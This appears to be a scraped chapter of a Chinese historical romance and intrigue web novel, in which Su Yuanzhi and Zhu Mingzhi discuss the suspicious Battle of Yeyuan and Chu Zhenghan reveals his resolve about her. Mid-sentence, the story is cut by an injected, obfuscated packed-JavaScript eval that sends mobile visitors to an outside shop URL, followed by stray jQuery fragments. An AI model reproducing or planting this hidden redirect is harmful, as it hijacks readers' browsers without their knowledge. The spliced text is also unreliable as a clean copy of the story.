苏沅芷停下脚步，却没有拐进去。
见她没有动作，扇子的主人唰一下打开扇子，不耐烦地上下扇了扇。
能在楚铮寒帐篷里这般招呼她的，除了朱明志，应该没有其他人。
苏沅芷扫视一圈，确认无人注意这边后，钻进了帐篷。
扑面而来的，先是一股好闻的檀香味，帐篷里也同样干净，除了一个床铺和一个案几之外，什么也没有。
大岐山气温低，日照的时间短，没有烛火与暖炉的帐篷，寒凉又阴森。
若不是苏沅芷亲眼见过楚铮寒走进这座帐篷，她都要怀疑这里是不是真的住着人了。
朱明志正站在空荡荡的正中心，眯着一双下垂眼，笑吟吟看向她：“崔苏氏。”
她收回打探的视线，疑惑道：“朱老板是刚到的？”
“非也，今晨就到了。”
那就是在皇帝到之前就到了，可众人今早去迎接皇上的时候，她并未见到朱明志的身影。
按理来说，他一个在京师开铺子的老板，怎么着也会想办法在皇上面前露脸吧？
“朱老板一直待在这帐篷里，没有面见圣上？”
朱明志收了笑容，扇子拍在掌心，发出清脆一声响：“我向来不擅长应付皇亲贵胄，和那些人沟通多了，胃里直泛酸水。”
苏沅芷能理解他的心情。
即便冷静如她，刚刚在皇威之下也失了态，朱明志作为普通老百姓，面对皇上，自然会有压力。
不再纠结于此，苏沅芷敛去诧色，单刀直入道：“那朱老板拦下我的理由是？”
见苏沅芷如此快速摆出知根知底的姿态，朱明志挑了挑眉，语气耐人寻味道：“看来你和他确实结盟了……既然如此，朱某也不拐弯抹角了，苏夫人，你知道野原之战么？”
苏沅芷蹙起眉头：“有话不妨直说。”
“别这么警惕嘛，”朱明志耸了耸肩，坦然道，“野原之战虽然是当朝皇帝登基后的第一项大功绩，但它一下就损失李家、楚家两位家主，无论怎么看，都有些得不偿失。”
思及往事，苏沅芷没忍住，叹了口气：“外敌势力庞大，两位家主忠心于朝，牺牲也是难以避免的事。”
朱明志晃了晃脑袋：“两位开国功勋向来骁勇善战，更何况野原之战还有当时的李家嫡女，李将军李鳞真在场，就算外敌强大，这样的牺牲，也实在蹊跷。”
这句话，他用轻巧的语气抛出来，却听得苏沅芷浑身一寒。
她瞪大了眼睛：“你是怀疑，野原之战有问题。”
当年野原之战，李家楚家家主被外敌围困在城内，兵粮寸断，弹尽粮绝，虽然朝中及时拨了物资送往前线，但最终还是没有赶上敌军破城的速度，几百名将士与二位将领，统统战死于城内。
朱明志用扇子遮住下半张脸，眯起眼睛：“也只是怀疑而已，听你所说，当年李家税银也正巧在野原旧址附近的大岐山被发现，所以我来追查。”
“你觉得李家的税银与野原之战那批物资有关系？”
朱明志点了点头：“具体是什么关系，还需要深入弯崖村探查。”
从马贼营寨的银子一路追查到了大岐山，最后的落点，竟然是野原之战。
朱明志并非李家与楚家之人，他和野原之战并无关联，这只能是楚铮寒的意思。
苏沅芷恍然大悟：“所以，这便是楚铮寒会与我合作的理由——他觉得野原之战二位家主的死，另有真相。”
朱明志放下扇子，张大了嘴，看着很是惊讶：“他从未与你说起？我还以为他什么都会告诉你呢。”
这句的语气有种莫名其妙的暧昧，听得苏沅芷眉头紧蹙，“何出此言？”
朱明志低低笑了两声，巧妙地岔开了话题：“不过，现下皇帝在此，崔平川是不会有太多大动作了。”
苏沅芷也懒得与他插诨打科，严肃道：“崔平川没有动作，但他底下的将士会有，想要绕过他深入大岐山，你得先从姜琴儿着手。”
“是那位紫衣紫甲的女将军？我昨日在商道附近遇到了，她见我们脚步悠闲，以为我们也是马贼伪装的，差点把我商队的人都杀光，多亏了铮寒及时赶到拦下。”
一想到姜琴儿提着刀要追着朱明志砍的画面，苏沅芷甚至有些想笑。
话止于此，也没有情报要传递，苏沅芷最后扫他一眼，干脆地掀帘走了，“……在姜琴儿面前，你还是少显露那些懒散劲，她不是一般女子。”
朱明志对着晃荡的帘布，低低道了一句：“自然。”
营帐里安静不过几息，帘布刚刚结束晃荡，一双骨节分明的大手再次掀开了它。
楚铮寒方一踏进帐篷，眉头便陡然蹙了起来。
却不是因为里头朱明志这位不速之客。
他抿了抿唇，看向笑吟吟的朱明志：“她来过？”
方才苏沅芷进来只停留了不到半柱香时间，也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560885|204210||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
并未留下任何信物，唯一能被称得上痕迹的，也不过是她身上那股极淡的花香味。
可那味道在大岐山的黄沙中极难被捕捉，更何况她一走，那味道早已散去大半。
楚铮寒是如何一进帐篷便察觉到的？
是他鼻子太灵，还是他对苏沅芷的味道太熟悉？
朱明志越想越觉得不对，逐渐锁起眉头，语气沉重：“你知道你自己很吓人么？”
得到默认的楚铮寒动作一顿，反问道：“她是来找我的？”
说着，没等朱明志回答，他转身就要掀帘追上离去的苏沅芷。
朱明志连忙拉住他：“回来——她没有找你！是我主动找她交换情报了。”
楚铮寒语气陡然沉了下来：“……你二人，单独在我的营帐里？”
面对他隐隐的怒意，朱明志倒是品出些趣味：“你一边瞒着她你自己的事，一边又格外在意她，频频做出不似你的举动。”
楚铮寒忽略他的揶揄，径直走到案几旁，开始卸甲。
他今日刚从前线轮岗回来，身上满是尘土和血渍，没见到苏沅芷可能也是好事。
见楚铮寒又不说话了，朱明志急得用扇子扇了他两下：“苏沅芷心思深沉，她不是一般人，也绝非善类，你清醒一点。”
楚铮寒正巧脱下头甲，漆黑的发丝被扇得四散开来，衬得他肤色愈发苍白，眸子里多了些冷意。
他平静地看向朱明志，头甲落在案几上，发出难听的摩擦声。
开口时，楚铮寒直直盯着朱明志，语气庄重：
“我很清醒。”
熟悉的回答让朱明志怔了怔。
那时，他在明珠楼看到楚铮寒为苏沅芷别簪，劝楚铮寒不要太陷进去时，他也是这样回答的。
只是那次的语气是疑惑，是楚铮寒没有察觉到他自己不清醒。
可这次，楚铮寒的语气十分笃定，与先前是完全不一样的态度。
朱明志微微张大了嘴，终于读懂楚铮寒眸子里那种坚定的情绪后，倒吸一口冷气：
“……怪不得你不与她说那些事，怪不得她能如此随心所欲利用你——楚铮寒，你是知道她另有所图，还选择与她继续合作的。”
楚铮寒表情坦然，没有半分被戳中的怒意。
仿佛是在说，这又如何？
那双沉沉的黑眸里，清楚倒映着朱明志一张诧异的脸。
“……楚铮寒，你疯了？”